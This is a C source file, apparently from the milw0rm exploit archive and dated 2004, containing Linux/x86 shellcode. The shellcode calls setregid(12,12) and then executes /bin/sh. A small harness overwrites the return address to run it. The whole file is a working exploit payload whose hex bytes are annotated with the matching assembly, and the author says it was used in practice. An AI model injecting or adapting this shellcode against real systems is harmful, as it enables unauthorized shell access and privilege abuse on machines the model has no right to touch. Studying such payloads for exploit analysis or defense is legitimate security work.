50 lines
No EOL
1.8 KiB
C
50 lines
No EOL
1.8 KiB
C
/*
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* Linux/x86
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* An example of setregid(), execve() /bin/sh
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*
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* (I used this in practise, hence the setregid(12, 12);)
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*/
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#include <stdio.h>
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char c0de[] =
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/* main: */ /* setregid(12, 12); */
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"\x29\xc0" /* subl %eax, %eax */
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"\xb0\x47" /* movb $71, %al */
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"\x29\xdb" /* subl %ebx, %ebx */
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/*
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* Here's the GID for the setregid() call. Change to suit.
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*/
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"\xb3\x0c" /* movb $12, %bl */
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"\x89\xd9" /* movl %ebx, %ecx */
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"\xcd\x80" /* int $0x80 */
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"\xeb\x18" /* jmp callz */
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/* start: */ /* execve of /bin/sh */
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"\x5e" /* popl %esi */
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"\x29\xc0" /* subl %eax, %eax */
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"\x88\x46\x07" /* movb %al, 0x07(%esi) */
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"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
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"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
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"\xb0\x0b" /* movb $0x0b, %al */
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"\x87\xf3" /* xchgl %esi, %ebx */
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"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
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"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
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"\xcd\x80" /* int $0x80 */
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/* callz: */
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"\xe8\xe3\xff\xff\xff" /* call start */
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/* /bin/sh */
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"\x2f\x62\x69\x6e\x2f\x73\x68";
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main() {
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int *ret;
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ret=(int *)&ret +2;
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printf("Shellcode lenght=%d\n",strlen(c0de));
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(*ret) = (int)c0de;
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}
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// milw0rm.com [2004-09-12]
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